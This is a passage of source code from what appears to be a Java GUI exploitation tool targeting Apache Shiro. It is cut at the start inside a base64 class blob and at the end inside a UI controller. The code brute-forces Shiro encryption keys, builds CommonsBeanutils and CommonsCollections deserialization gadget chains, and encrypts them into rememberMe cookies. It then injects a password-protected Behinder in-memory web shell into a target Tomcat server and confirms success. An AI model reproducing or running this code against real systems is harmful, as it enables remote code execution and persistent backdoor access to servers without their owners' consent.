ZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAib3JnL2FwYWNoZS9jYXRhbGluYS9MaWZlY3ljbGVTdGF0ZQEADVNUQVJUSU5HX1BSRVABACRMb3JnL2FwYWNoZS9jYXRhbGluYS9MaWZlY3ljbGVTdGF0ZTsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlhZGRGaWx0ZXIBAFQoTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvRmlsdGVyOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEAEWphdmEvdXRpbC9FbnVtU2V0AQACb2YBACUoTGphdmEvbGFuZy9FbnVtOylMamF2YS91dGlsL0VudW1TZXQ7BwFjAQAYYWRkTWFwcGluZ0ZvclVybFBhdHRlcm5zAQAqKExqYXZhL3V0aWwvRW51bVNldDtaW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0TWV0aG9kAQAHU1RBUlRFRAEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEAPQAxAAEAYwACAAAAZABlAAAAAABmAGcAAAAHAAEAaABpAAEAagAAADMAAgACAAAADyq3AAEqAbUAAiortQADsQAAAAEAawAAABIABAAAABQABAASAAkAFQAOABYAAQBsAG0AAgBqAAAAGQAAAAIAAAABsQAAAAEAawAAAAYAAQAAABoAbgAAAAQAAQBvAAEAcABxAAIAagAAAfIACAAOAAABPSvAAAQ6BCzAAAU6BRkEuQAGAQA6Biq0AALHABAqGQQSB7kACAIAtQACGQQSB7kACQIAEgq2AAuZAPsqtAACxgD0GQUSDBINuQAOAwAqtAACuAAPOgcZBhIQGQe5ABEDACq0AAMrtgASKrQAAyy2ABMSFLgAFToIuwAWWbsAF1m3ABgZBhIQuQAZAgC2ABoSG7YAHLYAHbYAHhIUtwAfOgkZCAUZCbYAIBkEuQAhAQC2ACI6ChIjuAAkEiUGvQAmWQMSJ1NZBLIAKFNZBbIAKFO2ACk6CxkLBLYAKhkIuwArWbcALBkKtgAttgAuOgwZCyq2AC%2B2ADAGvQAxWQMZDFNZBLsAMlkDtwAzU1kFuwAyWRkMvrcAM1O2ADTAACY6DRkNtgA1KrQAA7YANlenAAU6CC0ZBBkFuQA4AwCxAAEAYAEtATAANwACAGsAAABiABgAAAAfAAYAIAAMACEAFQAmABwAJwApACkAQQAqAEwALABVAC0AYAAwAGgAMQBwADIAdwAzAKAANACoADUAtAA2ANUANwDbADgA7gA6ASAAOwEtAD0BMAA8ATIAPwE8AEAAcgAAADMAA%2F4AKQcAcwcAdAcAdf8BBgAIBwB2BwB3BwB4BwB5BwBzBwB0BwB1BwB6AAEHAHv6AAEAbgAAAAYAAgB8AG8AAQB9AH4AAQBqAAAAGQAAAAEAAAABsQAAAAEAawAAAAYAAQAAAEQAAQB%2FAIAAAQBqAAAAsAAEAAgAAABEK8AAOcAAOU0sAzLAAAROLAQywAA6OgQsBTLAADs6BSwGMsAAPDoGuwA9WRkGtwA%2BEj8SQC24AEGnAAo6BxkHtgBDBKwAAQAnADgAOwBCAAIAawAAACoACgAAAEcACABIAA8ASQAXAEoAHwBLACcATQA4AFAAOwBOAD0ATwBCAFEAcgAAACIAAv8AOwAHBwB2BwCBBwA5BwBzBwCCBwB1BwCDAAEHAIQGAAkAhQCGAAEAagAAAIYABAADAAAAOQFMEkS4AEVNLCq2AB4DKrYARrYAR7sASFkELLYASbcAShAQtgBLtgBMTKcABE0rAxAQtgBNtgBOsAABAAIAKgAtADcAAgBrAAAAGgAGAAAAVQACAFgACABZABUAWgAqAFsALgBcAHIAAAATAAL%2FAC0AAgcAegcAegABBwB7AAAJAIcAiAACAGoAAAHdAAcADAAAAOctuQBPAQA6BBkEK7kAUAIAxwDWAToFAToGAToHAToIAToJGQS2AC8SUbYAUjoFGQUEtgBTGQUZBLYAVMAAVToGGQa2AC8SUbYAUjoFGQUEtgBTGQUZBrYAVMAAVjoHElcSWLYAUjoIGQgEtgBTGQgZB7IAWbYAWhkEKyq5AFsDADoJGQmyAFy4AF0DBL0AXlkDLFO5AF8EABJWEmABtgBhOgoZCgS2ACoZChkHAbYANFcZCBkHsgBitgBaGQgZB7IAYrYAWqcAIToKGQgZB7IAYrYAWqcAEjoLGQgZB7IAYrYAWhkLv7EABAAiALsAyAA3ACIAuwDXAAAAyADKANcAAADXANkA1wAAAAIAawAAAHoAHgAAAGAACABhABMAYgAWAGMAGQBkABwAZQAfAGYAIgBoAC4AaQA0AGoAQABrAEwAbABSAG0AXgBuAGcAbwBtAHAAdwBxAIIAcgCYAHMAogB0AKgAdQCxAHYAuwB6AMUAewDIAHcAygB6ANQAewDXAHoA4wB7AOYAfQByAAAARAAD%2FwDIAAoHAIkHAHoHAHoHAHMHAIoHAIsHAIwHAI0HAIsHAI4AAQcAe04HAI%2F%2FAA4ABQcAiQcAegcAegcAcwcAigAAAG4AAAAEAAEAQgACAJAAAAACAJEBAwAAAAoAAQD1AV4BAgYJ"); 34 | } 35 | // gadget 选择的内存马类型 36 | public void baseInject(String gadget,String memShellType,String password) throws Exception{ 37 | Class gadgetClass = successGadget.get(gadget); // 获取利用链的类以及密码 38 | if (gadgetClass != null){ 39 | String k = paramContext.get("ShiroKey"); // key 40 | if (memShellType.equals("Behinder3")){ 41 | if (paramContext.get("BehinderPassword") == null){ 42 | Behinder3Inject(k,gadgetClass,password); 43 | }else { 44 | this.myController.result.appendText("\n[!] 冰蝎已成功注入,请勿重复注入\n"); 45 | this.myController.result.appendText("[+] 路径: " + paramContext.get("BehinderURL") + "\n"); 46 | this.myController.result.appendText("[+] 密码: " + paramContext.get("BehinderPassword") + "\n"); 47 | } 48 | }else { 49 | this.myController.result.appendText("[!] 哥斯拉和reg近期添加!!\n"); 50 | } 51 | }else { 52 | this.myController.result.appendText("[!] 请先检测利用链再进行注入!!\n"); 53 | } 54 | } 55 | 56 | public boolean Behinder3Inject(String k,Class gadgetClass,String password) throws Exception{ 57 | Map> header = null; 58 | List Inject = null; 59 | // behinder 的 loader 60 | byte[] BehinderLoaderBytes = new BASE64Decoder().decodeBuffer(memShellLoader.get("BehinderLoader")); 61 | // 将behinderLoader作为payload传入我们选择的利用链,反射调用 62 | Method getObject = gadgetClass.getDeclaredMethod("getObject",byte[].class); 63 | getObject.setAccessible(true); 64 | byte[] bytes = Serializer.serialize(getObject.invoke(gadgetClass.newInstance(), BehinderLoaderBytes)); 65 | // 获取选择的加密方式 66 | String encryptType = this.paramContext.get("Encrypt"); 67 | String BehinderLoderCookie = null; 68 | if (encryptType.equals("CBC")){ 69 | BehinderLoderCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k); 70 | } else{ 71 | BehinderLoderCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k); 72 | } 73 | 74 | // post 请求体 75 | String classData1 = "classData1=" + memShellLoader.get("PageContext"); 76 | String classData2 = "classData2=" + memShellLoader.get("MemBehinder3"); 77 | String postData = classData1 + "&" + classData2; 78 | 79 | // 输出模式 80 | if (paramContext.get("OutputType").equals("1")){ 81 | this.myController.result.appendText("\nPayload输出模式:"); 82 | this.myController.result.appendText("\nCheck Cookie: " + BehinderLoderCookie + "\n"); 83 | this.myController.result.appendText(postData + "\n"); 84 | this.myController.result.appendText("在下次请求中在header里添加 pass:" + password + ",同时在url后加上?pass=success,该操作为设置冰蝎密码,密码一旦被设置便无法重复设置\n"); 85 | this.myController.result.appendText("如看到返回头中有Inject:Success 则说明注入成功\n"); 86 | } 87 | // 处理传入的 url 和 path 进行标准化 88 | String url = CommonUtils.normizeUrl(paramContext.get("URL")) + CommonUtils.normizePath(paramContext.get("Path")); // 标准化的url 89 | header = this.httpUtils.sendPostRequest(url,BehinderLoderCookie,postData); 90 | if (header != null){ 91 | String injectTagUri = "?pass=success"; 92 | Map> checkHeader = this.httpUtils.sendCheckInject(url+injectTagUri,null,password); 93 | Inject = checkHeader.get("Inject"); 94 | if (Inject != null && Inject.toString().contains("Success")){ 95 | this.myController.result.appendText("[+] 冰蝎内存马注入成功!\n"); 96 | this.myController.result.appendText("[+] 内存马路径: " + url + "?pass=success \n" ); 97 | this.myController.result.appendText("[+] 密码: " + password + "\n" ); 98 | paramContext.put("BehinderPassword", password); // 注入成功就把密码存到上下文里 99 | paramContext.put("BehinderURL", url+injectTagUri); // 注入成功就把密码存到上下文里 100 | 101 | return true; 102 | }else { 103 | this.myController.result.appendText("[!] 冰蝎内存马注入失败,请尝试切换到有权限的目录\n\n"); 104 | return false; 105 | } 106 | } else { 107 | this.myController.result.appendText("[!] 未检测到返回头 !\n\n"); 108 | return false; 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/core/ShiroKeyBrute.java: -------------------------------------------------------------------------------- 1 | package core; 2 | 3 | import common.HttpUtils; 4 | import entity.ControllersFactory; 5 | import ui.MyController; 6 | 7 | import java.io.BufferedReader; 8 | import java.io.InputStream; 9 | import java.io.InputStreamReader; 10 | import java.util.Map; 11 | 12 | public class ShiroKeyBrute { 13 | 14 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName()); 15 | final private Map paramContext = ControllersFactory.paramsContext; 16 | private HttpUtils httpUtils = new HttpUtils(); 17 | 18 | // 思路应该是这样的 ,首先进行检测是否是 Shiro 框架,如果是的话就开始爆破,如果不是的话那么就不爆破了 19 | 20 | public void shiroDetect(String url,String method) throws Exception{ 21 | // String method = paramContext.get("Method"); 22 | boolean tag = false; 23 | boolean flag = false; 24 | // 首先判断是不是Shiro框架 25 | tag = this.httpUtils.shiroDetectRequest(method,url); 26 | if (tag == true){ 27 | this.myController.result.appendText("[+] 开始爆破密钥\n"); 28 | InputStream inputStream = ShiroKeyBrute.class.getClassLoader().getResourceAsStream("ShiroKeys.txt"); 29 | if (inputStream != null){ 30 | BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); 31 | String key = null; 32 | while ((key = reader.readLine()) != null){ 33 | System.out.println(key); 34 | flag = this.httpUtils.shiroKeyBruteRequest(method,url,key); 35 | if (flag == true){ 36 | // 如果爆破成功,就存到上下文中 37 | paramContext.put("ShiroKey",key); 38 | paramContext.put("URL",url); 39 | this.myController.key.setText(key); 40 | break; 41 | } 42 | } 43 | } 44 | if (flag == false){ 45 | this.myController.result.appendText("[!] 密钥爆破失败\n\n"); 46 | paramContext.put("ShiroKey",null); 47 | } 48 | } 49 | 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/entity/ControllersFactory.java: -------------------------------------------------------------------------------- 1 | package entity; 2 | 3 | import java.net.Proxy; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | public class ControllersFactory { 8 | public static Map controllers = new HashMap<>(); 9 | /** 10 | * ShiroKey 爆破成功的 Key/null 11 | * Encrypt 加密模式 CBC/GCM 12 | * OutputType 是否输出 payload 1/0 13 | * URL 成功爆破出key的url 14 | */ 15 | public static Map paramsContext = new HashMap<>(); 16 | public static Map loaderByte = new HashMap<>(); 17 | public static Map successGadget = new HashMap<>(); 18 | public static Map memShellLoader = new HashMap<>(); 19 | public static Map currentProxy = new HashMap<>(); 20 | public static Map currentHeader = new HashMap<>(); 21 | 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/javax/servlet/jsp/PageContext.java: -------------------------------------------------------------------------------- 1 | package javax.servlet.jsp; 2 | 3 | import javax.servlet.ServletRequest; 4 | import javax.servlet.ServletResponse; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import javax.servlet.http.HttpSession; 8 | import java.io.IOException; 9 | import java.io.Writer; 10 | 11 | public class PageContext extends ClassLoader { 12 | ServletRequest request; 13 | ServletResponse response; 14 | 15 | 16 | public Writer getOut(){ 17 | return null; 18 | } 19 | 20 | public PageContext(ServletRequest request, ServletResponse response) { 21 | this.request = request; 22 | this.response = response; 23 | } 24 | 25 | public PageContext(){ 26 | 27 | } 28 | 29 | public void setRequest(ServletRequest request) { 30 | this.request = request; 31 | } 32 | 33 | public void setResponse(ServletResponse response){ 34 | this.response = response; 35 | } 36 | 37 | public HttpSession getSession() { 38 | HttpServletRequest test = (HttpServletRequest) this.request; 39 | return test.getSession(); 40 | } 41 | 42 | public ServletRequest getRequest() { 43 | return this.request; 44 | } 45 | 46 | public ServletResponse getResponse() { 47 | return this.response; 48 | } 49 | 50 | public Class test(byte[] b){ 51 | return super.defineClass(b, 0, b.length); 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package payloads; 2 | 3 | 4 | import java.math.BigInteger; 5 | import java.util.PriorityQueue; 6 | 7 | import org.apache.commons.beanutils.BeanComparator; 8 | import payloads.util.Gadgets; 9 | import payloads.util.Reflections; 10 | 11 | // cb 1.9.2 版本的利用链 12 | @SuppressWarnings({ "rawtypes", "unchecked" }) 13 | public class CommonsBeanutils1 { 14 | public Object getObject(byte[] bytes) throws Exception { 15 | final Object templates = Gadgets.createTemplatesImpl(bytes); 16 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 17 | 18 | final PriorityQueue queue = new PriorityQueue(2, comparator); 19 | // stub data for replacement later 20 | queue.add(new BigInteger("1")); 21 | queue.add(new BigInteger("1")); 22 | 23 | // switch method called by comparator 24 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 25 | 26 | // switch contents of queue 27 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 28 | queueArray[0] = templates; 29 | queueArray[1] = templates; 30 | 31 | return queue; 32 | } 33 | } 34 | 35 | -------------------------------------------------------------------------------- /src/main/java/payloads/CommonsBeanutils1_183.java: -------------------------------------------------------------------------------- 1 | package payloads; 2 | 3 | import common.CommonUtils; 4 | import payloads.util.ClassFiles; 5 | import payloads.util.SuidClassLoader; 6 | import sun.misc.BASE64Decoder; 7 | 8 | 9 | import java.io.InputStream; 10 | import java.lang.reflect.Method; 11 | 12 | // cb 1.8.3 的利用链 13 | @SuppressWarnings({ "rawtypes", "unchecked" }) 14 | public class CommonsBeanutils1_183{ 15 | 16 | public Object getObject(byte[] bytes) throws Exception { 17 | SuidClassLoader suidClassLoader = new SuidClassLoader(); 18 | suidClassLoader.addClass(CommonsBeanutils1.class.getName(), ClassFiles.classAsBytes(CommonsBeanutils1.class)); 19 | InputStream inputStream = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt"); 20 | byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtils.readStringFromInputStream(inputStream)); 21 | suidClassLoader.addJar(jarBytes); 22 | Class clsGadget = suidClassLoader.loadClass("payloads.CommonsBeanutils1"); 23 | Object objGadget = clsGadget.newInstance(); 24 | Method getObject = objGadget.getClass().getDeclaredMethod("getObject",byte[].class); 25 | Object objPayload = getObject.invoke(objGadget,bytes); 26 | suidClassLoader.cleanLoader(); 27 | return objPayload; 28 | } 29 | 30 | } -------------------------------------------------------------------------------- /src/main/java/payloads/CommonsCollections11.java: -------------------------------------------------------------------------------- 1 | package payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import payloads.util.Gadgets; 7 | import payloads.util.Reflections; 8 | 9 | import java.lang.reflect.Field; 10 | import java.util.HashMap; 11 | import java.util.HashSet; 12 | 13 | /** 14 | * 个人的思路是这样的 15 | * 尝试利用 javasist 来动态进行生成,然后将返回的 bytes 添加到 利用链中,例如这里的 cc11 16 | */ 17 | @SuppressWarnings({ "rawtypes", "unchecked" }) 18 | public class CommonsCollections11 { 19 | // 返回的是构造好的 object 20 | public HashSet getObject(byte[] bytes) throws Exception { 21 | final Object templates = Gadgets.createTemplatesImpl(bytes); 22 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 23 | HashMap innermap = new HashMap(); 24 | LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); 25 | TiedMapEntry tiedmap = new TiedMapEntry(map,templates); 26 | 27 | HashSet hashset = new HashSet(1); 28 | hashset.add("foo"); 29 | // 我们要设置 HashSet 的 map 为我们的 HashMap 30 | Field f = null; 31 | try { 32 | f = HashSet.class.getDeclaredField("map"); 33 | } catch (NoSuchFieldException e) { 34 | f = HashSet.class.getDeclaredField("backingMap"); 35 | } 36 | f.setAccessible(true); 37 | HashMap hashset_map = (HashMap) f.get(hashset); 38 | Field f2 = null; 39 | try { 40 | f2 = HashMap.class.getDeclaredField("table"); 41 | } catch (NoSuchFieldException e) { 42 | f2 = HashMap.class.getDeclaredField("elementData"); 43 | } 44 | 45 | f2.setAccessible(true); 46 | Object[] array = (Object[])f2.get(hashset_map); 47 | 48 | Object node = array[0]; 49 | if(node == null){ 50 | node = array[1]; 51 | } 52 | 53 | Field keyField = null; 54 | try{ 55 | keyField = node.getClass().getDeclaredField("key"); 56 | }catch(Exception e){ 57 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 58 | } 59 | Reflections.setAccessible(keyField); 60 | keyField.set(node,tiedmap); 61 | Reflections.setFieldValue(transformer,"iMethodName","newTransformer"); 62 | return hashset; 63 | } 64 | } 65 | 66 | -------------------------------------------------------------------------------- /src/main/java/payloads/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import payloads.util.Gadgets; 7 | import payloads.util.Reflections; 8 | 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class CommonsCollectionsK1 { 13 | 14 | public Object getObject(byte[] bytes) throws Exception { 15 | final Object templates = Gadgets.createTemplatesImpl(bytes); 16 | // mock method name until armed 17 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 18 | 19 | HashMap innerMap = new HashMap(); 20 | Map m = LazyMap.decorate(innerMap, transformer); 21 | 22 | Map outerMap = new HashMap(); 23 | TiedMapEntry tied = new TiedMapEntry(m, templates); 24 | outerMap.put(tied, "t"); 25 | // clear the inner map data, this is important 26 | innerMap.clear(); 27 | 28 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 29 | return outerMap; 30 | } 31 | 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/payloads/check/TomcatGadgetCheck.java: -------------------------------------------------------------------------------- 1 | package payloads.check; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import javassist.*; 5 | import org.apache.coyote.RequestInfo; 6 | 7 | public class TomcatGadgetCheck { 8 | // 用于检测 tomcat 利用链是否可用 9 | public static byte[] gadgetCheck() throws Exception { 10 | ClassPool classPool = ClassPool.getDefault(); 11 | classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); 12 | classPool.insertClassPath(new ClassClassPath(RequestInfo.class)); 13 | 14 | CtClass ctClass = classPool.makeClass("check"+System.nanoTime()); 15 | ctClass.setSuperclass(classPool.getCtClass(AbstractTranslet.class.getName())); 16 | ctClass.addMethod(CtMethod.make(" public static Object getField(Object obj,String fieldName) throws Exception{\n" + 17 | " java.lang.reflect.Field f0 = null;\n" + 18 | " Class clas = obj.getClass();\n" + 19 | " while (clas != Object.class){\n" + 20 | " try {\n" + 21 | " f0 = clas.getDeclaredField(fieldName);\n" + 22 | " break;\n" + 23 | " } catch (NoSuchFieldException e){\n" + 24 | " clas = clas.getSuperclass();\n" + 25 | " }\n" + 26 | " }\n" + 27 | " if (f0 != null){\n" + 28 | " f0.setAccessible(true);\n" + 29 | " return f0.get(obj);\n" + 30 | " }else {\n" + 31 | " throw new NoSuchFieldException(fieldName);\n" + 32 | " }\n" + 33 | " }",ctClass)); 34 | 35 | String method = " try {\n" + 36 | " boolean flag = false;\n" + 37 | " Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),\"threads\");\n" + 38 | " for (int i=0;i clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | 45 | public static byte[] readInputStream(InputStream inputStream) throws IOException { 46 | byte[] bytes = new byte[5120]; 47 | ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 48 | int line = 0; 49 | while ((line=inputStream.read(bytes)) != -1){ 50 | outputStream.write(bytes,0,line); 51 | } 52 | return outputStream.toByteArray(); 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/payloads/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | package payloads.util; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import payloads.check.TomcatGadgetCheck; 5 | 6 | import java.lang.reflect.Field; 7 | 8 | public class Gadgets { 9 | 10 | // templatesimpl 应该只是载体,让利用链进行加载 11 | public static Object createTemplatesImpl(byte[] bytes) throws Exception { 12 | byte[] classBytes = bytes; 13 | byte[][] targetByteCodes = new byte[][]{classBytes}; 14 | TemplatesImpl templates = TemplatesImpl.class.newInstance(); 15 | 16 | Field f0 = templates.getClass().getDeclaredField("_bytecodes"); 17 | f0.setAccessible(true); 18 | f0.set(templates,targetByteCodes); 19 | 20 | f0 = templates.getClass().getDeclaredField("_name"); 21 | f0.setAccessible(true); 22 | f0.set(templates,"name"); 23 | 24 | f0 = templates.getClass().getDeclaredField("_class"); 25 | f0.setAccessible(true); 26 | f0.set(templates,null); 27 | return templates; 28 | } 29 | 30 | 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package payloads.util; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.Method; 5 | 6 | // 反射类,解耦 7 | public class Reflections { 8 | 9 | public static Object getFieldValue(Object object,String field) throws Exception{ 10 | Field f0 = getField(object,field); 11 | return f0.get(object); 12 | } 13 | 14 | public static void setAccessible(Field field) throws Exception { 15 | field.setAccessible(true); 16 | } 17 | 18 | // 进行属性的设置 19 | public static void setFieldValue(Object object,String fieldName,Object fieldValue) throws Exception { 20 | Field field = getField(object,fieldName); 21 | field.set(object,fieldValue); 22 | } 23 | 24 | public static Field getField(Object object,String fieldName) throws Exception{ 25 | Class clas = object.getClass(); 26 | Field field = null; 27 | // 我们这里必须要确保,这里写一个 while 循环 28 | while (clas != Object.class){ 29 | try { 30 | field = clas.getDeclaredField(fieldName); 31 | break; 32 | } catch (NoSuchFieldException e){ 33 | clas = clas.getSuperclass(); 34 | } 35 | } 36 | 37 | if (field != null){ 38 | field.setAccessible(true); 39 | // return field.get(object); 40 | return field; 41 | }else { 42 | return null; 43 | } 44 | } 45 | 46 | // public static void main(String[] args) { 47 | // Reflections. 48 | // } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/payloads/util/Serializer.java: -------------------------------------------------------------------------------- 1 | package payloads.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.io.OutputStream; 6 | 7 | public class Serializer { 8 | // 对传进来的 Object 进行转换,转成byte 9 | // 首先将对象进行序列化 10 | public static byte[] serialize(Object object) throws Exception { 11 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 12 | ObjectOutputStream outObj = new ObjectOutputStream(byteArrayOutputStream); 13 | outObj.writeObject(object); 14 | return byteArrayOutputStream.toByteArray(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/payloads/util/SuidClassLoader.java: -------------------------------------------------------------------------------- 1 | package payloads.util; 2 | 3 | 4 | 5 | import org.apache.commons.io.FileUtils; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | import java.util.Enumeration; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | import java.util.jar.JarEntry; 15 | import java.util.jar.JarFile; 16 | 17 | public class SuidClassLoader extends ClassLoader{ 18 | 19 | private Map classByteMap = new HashMap<>(); 20 | private Map cacheClass = new HashMap<>(); 21 | 22 | public void addClass(String className, byte[] classByte ){ 23 | classByteMap.put(className,classByte); 24 | } 25 | 26 | public void addJar(byte[] jarByte) throws Exception{ 27 | File tempFile = null; 28 | JarFile jarFile = null; 29 | tempFile = File.createTempFile("tempJarFile", "jar"); 30 | FileUtils.writeByteArrayToFile(tempFile, jarByte); 31 | jarFile = new JarFile(tempFile); 32 | readJar(jarFile); 33 | } 34 | 35 | private void readJar(JarFile jar) throws IOException, IOException { 36 | Enumeration en = jar.entries(); 37 | while (en.hasMoreElements()){ 38 | JarEntry je = en.nextElement(); 39 | String name = je.getName(); 40 | if (name.endsWith(".class")){ 41 | String clss = name.replace(".class", "").replaceAll("/", "."); 42 | if(this.findLoadedClass(clss) != null) continue; 43 | InputStream input = jar.getInputStream(je); 44 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 45 | int bufferSize = 4096; 46 | byte[] buffer = new byte[bufferSize]; 47 | int bytesNumRead = 0; 48 | while ((bytesNumRead = input.read(buffer)) != -1) { 49 | baos.write(buffer, 0, bytesNumRead); 50 | } 51 | byte[] cc = baos.toByteArray(); 52 | input.close(); 53 | classByteMap.put(clss, cc); 54 | } 55 | } 56 | } 57 | 58 | 59 | @Override 60 | protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { 61 | synchronized (getClassLoadingLock(name)) { 62 | Class clazz = cacheClass.get(name); 63 | if (clazz != null) { 64 | return clazz; 65 | } 66 | try { 67 | clazz = findClass(name); 68 | if (null != clazz) { 69 | cacheClass.put(name, clazz); 70 | }else{ 71 | clazz = super.loadClass(name, resolve); 72 | } 73 | } catch (ClassNotFoundException e) { 74 | clazz = super.loadClass(name, resolve); 75 | } 76 | 77 | if (resolve) { 78 | resolveClass(clazz); 79 | } 80 | return clazz; 81 | } 82 | } 83 | 84 | @Override 85 | protected Class findClass(String name) throws ClassNotFoundException { 86 | byte[] result = classByteMap.get(name); 87 | if ( result == null){ 88 | throw new ClassNotFoundException(); 89 | } else { 90 | return super.defineClass(name,result,0,result.length); 91 | } 92 | } 93 | 94 | public void cleanLoader(){ 95 | if (classByteMap != null){ 96 | classByteMap.clear(); 97 | } 98 | if (cacheClass != null){ 99 | cacheClass.clear(); 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/ui/MyController.java: -------------------------------------------------------------------------------- 1 | package ui; 2 | 3 | import common.CommonUtils; 4 | import core.CommandExecute; 5 | import core.GadgetCheck; 6 | import core.MemInject; 7 | import core.ShiroKeyBrute; 8 | import entity.ControllersFactory; 9 | import javafx.collections.FXCollections; 10 | import javafx.collections.ObservableList; 11 | import javafx.event.ActionEvent; 12 | import javafx.fxml.FXML; 13 | import javafx.fxml.Initializable; 14 | import javafx.geometry.Insets; 15 | import javafx.geometry.Pos; 16 | import javafx.scene.Node; 17 | import javafx.scene.control.*; 18 | import javafx.scene.layout.GridPane; 19 | import javafx.scene.layout.HBox; 20 | import javafx.stage.Window; 21 | import javafx.stage.WindowEvent; 22 | 23 | import java.net.Authenticator; 24 | import java.net.PasswordAuthentication; 25 | import java.net.Proxy; 26 | import java.net.URL; 27 | import java.util.HashMap; 28 | import java.util.Map; 29 | import java.util.ResourceBundle; 30 | 31 | 32 | public class MyController implements Initializable { 33 | 34 | public ShiroKeyBrute shiroKeyBrute = null; 35 | public GadgetCheck gadgetCheck = null; 36 | public CommandExecute commandExecute = null; 37 | public MemInject memInject = null; 38 | // public static Map currentProxy = new HashMap<>(); 39 | 40 | // 运行按钮 41 | @FXML 42 | private Button burpKey; 43 | 44 | // 检测按钮 45 | @FXML 46 | private Button checkGadget; 47 | 48 | @FXML 49 | private Button cmdExecute; 50 | 51 | @FXML 52 | private Button memShellInject; 53 | 54 | @FXML 55 | private TextField command; 56 | 57 | @FXML 58 | private TextField attackUrl; 59 | 60 | @FXML 61 | private TextField postParam; 62 | 63 | @FXML 64 | private ComboBox httpMethod; 65 | 66 | @FXML 67 | public TextArea result; 68 | 69 | @FXML 70 | private ComboBox contentType; 71 | 72 | // @FXML 73 | // private TextField 